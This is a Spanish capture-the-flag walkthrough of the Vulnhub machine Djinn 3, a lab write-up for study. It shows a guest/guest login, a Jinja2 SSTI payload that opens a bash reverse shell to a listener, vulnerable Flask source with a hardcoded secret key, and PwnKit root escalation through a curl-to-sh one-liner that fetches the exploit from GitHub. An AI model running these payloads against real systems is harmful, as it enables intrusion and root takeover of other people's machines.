Djinn 3 - Vulnhub
Escaneo de puertos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sS -Pn -T4 -O 192.168.100.96
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 11:23 CEST
Nmap scan report for 192.168.100.96
Host is up (0.00040s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
31337/tcp open Elite
MAC Address: BC:24:11:1B:C4:C8 (Proxmox Server Solutions GmbH)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Puerto 80
En este puerto vemos una página estática que nos informa que se trata de una startup que ofrece algún tipo de software para gestión de tickets y similares de forma personalizada.
Puerto 5000
En este puerto podemos intuir una aplicación python (por el número) y se trata de un panel para visualizar tickets que está en desarrollo.
Si observamos las cabeceras de la página veremos como efectivamente es una app Flask en desarrollo (usa Werkzeug y Python 3.6.9).
Si hacemos click en algún ticket vemos que hace uso de plantilla ya que carga el contenido de forma dinámica mediante un parametro GET id
por URL.
Puerto 31337
En este puerto parece ejecutarse un servicio personalizado TCP que nos pide una autenticación para acceder a la aplicación.
Reconocimiento de usuarios
Si navegamos al servicio de visualización de tickets e investigamos los contenidos de los mismos podemos ver que indican ciertos pasos del mantemiento y creación de la aplciación.
- Primera entrada
El primer ticket indica que se ha implementado un sistema de autenticación basado en contraseñas y tokens para acceder al panel de administración de tickets.
- Segunda entrada
En la segunda entrada indica que se necesita eliminar el usuario guest
y que deben implemtar una política de complejidad a las contraseñas.
- Tercera entrada
En esta entrada se indica que deben arreglar problemas en las peticiones postgres que se están utilizando, esto nos da información sobre el tipo de base de datos que está utilizando.
- Quinta entrada
En la cuarta entrada se indica el relevo de un empleado en el diseño UI de la aplicación pero en la quinta parece ser que se han despedido o dimitido ciertos trabajadores cuyos nombres son expuestos e indica que tienen ciertos privilegios dentro del sistema.
Este tipo de información puede ser útil más adelante.
Explotación
Vamos a empezar probando en el sistema ofrecido por el puerto 31337 para ver si podemos acceder a la aplicación haciendo uso de el usuario guest
y la contraseña guest
, ya que aunque querían eliminarlo el ticket sigue en estado open
.
Una vez dentro solo podremos crear o eliminar tickets. Sabiendo que tenemos una aplicación bajo python y usa plantillas podemos intentar una inyección SSTI.
Vamos a crear un nuevo ticket donde vamos a probar una inyección SSTI para jinja2.
En ambos campos tenemos una inyección SSTI.
Vamos a aprovechar esto como punto de entrada para obtener una shell.
1
{{ config.__class__.__init__.__globals__['os'].popen("nohup bash -c 'bash -i >& /dev/tcp/192.168.100.210/4444 0>&1'") }}
Ponemos en escucha el puerto 4444 y hacemos que cargue la plantilla.
1
nc -nlvp 4444
Explorando el sistema
Ahora podemos estabilizar la shell y explorar el sistema.
1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
CRTL+Z
stty raw -echo ; fg
ENTER
export TERM=xterm
Aqui vemos que el contenido de la tabla de tickets es un json y podemos ver también el codigo fuente de la aplicación flask.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
www-data@djinn3:/opt/.web$ cat webapp.py
from flask import Flask, render_template, request, render_template_string
import json
app = Flask(__name__, static_url_path="/static")
app.secret_key = "hackthedamnplanet"
@app.route("/")
def index():
try:
ticket_id = request.args.get("id")
except:
ticket_id = None
with open("data.json", "r") as f:
data = json.load(f)
if ticket_id:
for d in data:
if d["id"] == int(ticket_id):
title = d["title"]
status = d["status"]
desc = d["desc"]
template = """
<html>
<head>
</head>
<body>
<h4>%s</h4>
<br>
<b>Status</b>: %s
<br>
<b>ID</b>: %s
<br>
<h4> Description: </h4>
<br>
%s
</body>
<footer>
<p><strong>Sorry for the bright page, we are working on some beautiful CSS</strong></p>
</footer>
</html>
""" % (
title,
status,
ticket_id,
desc,
)
return render_template_string(template)
else:
return render_template("index.html", items=data)
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)
Hardcoded Secret Key
1
app.secret_key = "hackthedamnplanet"
Esta es la clave secreta de Flask, usada para firmar cookies de sesión (flask.session
).
Haciendo una revisión de los usuarios del sistema vemos tres usuarios potencialmente interesantes.
Navegando por el sistema encontramos también el código fuente de la aplicación de tickets.
Seguimos explorando y tras intentar el clásico sudo -l
vemos que nos pide las credenciales del usuario www-data así no podemos hacer nada por lo que vamos a ver binarios con SUID activo.
1
find / -perm -4000 -type f 2>/dev/null
La lista de SUIDs que diste parece bastante estándar… casi todo lo que ves está en instalaciones típicas de Linux, excepto uno potencialmente interesante.
- Potencial vector:
**/usr/bin/pkexec**
pkexec
ha sido explotable varias veces, y en algunos entornos puede llevar a escalada local a root. El más famoso fue:
CVE-2021-4034 — PwnKit
Permite escalar de cualquier usuario a root si:
- El sistema es vulnerable
- No se ha parcheado
pkexec
- Estás en un entorno compatible (Debian/Ubuntu con ciertos setups)
Para comprobar si es vulnerable:
1
pkexec --version
Lo que nos muestra que si es vulnerable a CVE-2021-4034
Podemos encontrar el exploit en Github
¿Qué es Polkit y pkexec?
- Polkit (antes PolicyKit) es un sistema para manejar privilegios a nivel de sistema.
pkexec
es como unsudo
gráfico/alternativo: permite ejecutar comandos con permisos elevados, respetando políticas del sistema.- Lo importante:
pkexec
es un binario SUID-root, o sea, siempre se ejecuta como root incluso si lo llama un usuario sin privilegios.
¿Qué es la vulnerabilidad PwnKit (CVE-2021-4034)?
Es un fallo en cómo
pkexec
maneja argumentos y variables de entorno. Y lo peor: existe desde 2009 y afecta casi todas las distros Linux
- Si ejecutas
pkexec
sin argumentos, se produce un error lógico: intenta leerargv[1]
, pero no hay argumentos. - El valor que intenta leer (fuera de límites) termina apuntando a
envp[0]
, es decir, a una variable de entorno. - Luego esa variable se reinterpreta como un nombre de binario a ejecutar.
- Y por último,
pkexec
hace una escritura fuera de límites (overwrite) en esa misma variable.
Esto permite a un atacante inyectar una variable de entorno maliciosa (por ejemplo LD_PRELOAD
), que normalmente sería eliminada por seguridad.
Una vez cargado ese preload → se ejecuta código arbitrario como root.
Impacto real
“Root en 1 segundo desde cualquier usuario sin privilegios”
- No necesita escribir en archivos del sistema
- No requiere sudo
- No requiere ningún usuario en especial
- Es silencioso y no deja logs evidentes
Escalada de privilegios
Como en este caso nuestra máquina cuenta con conexión a internet podemos ejecutar el oneliner que nos proporciona el exploit, pero si no fuese el caso siempre podríamos descargarlo en nuestra maquina y pasarlo a través un servidor web python.
1
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"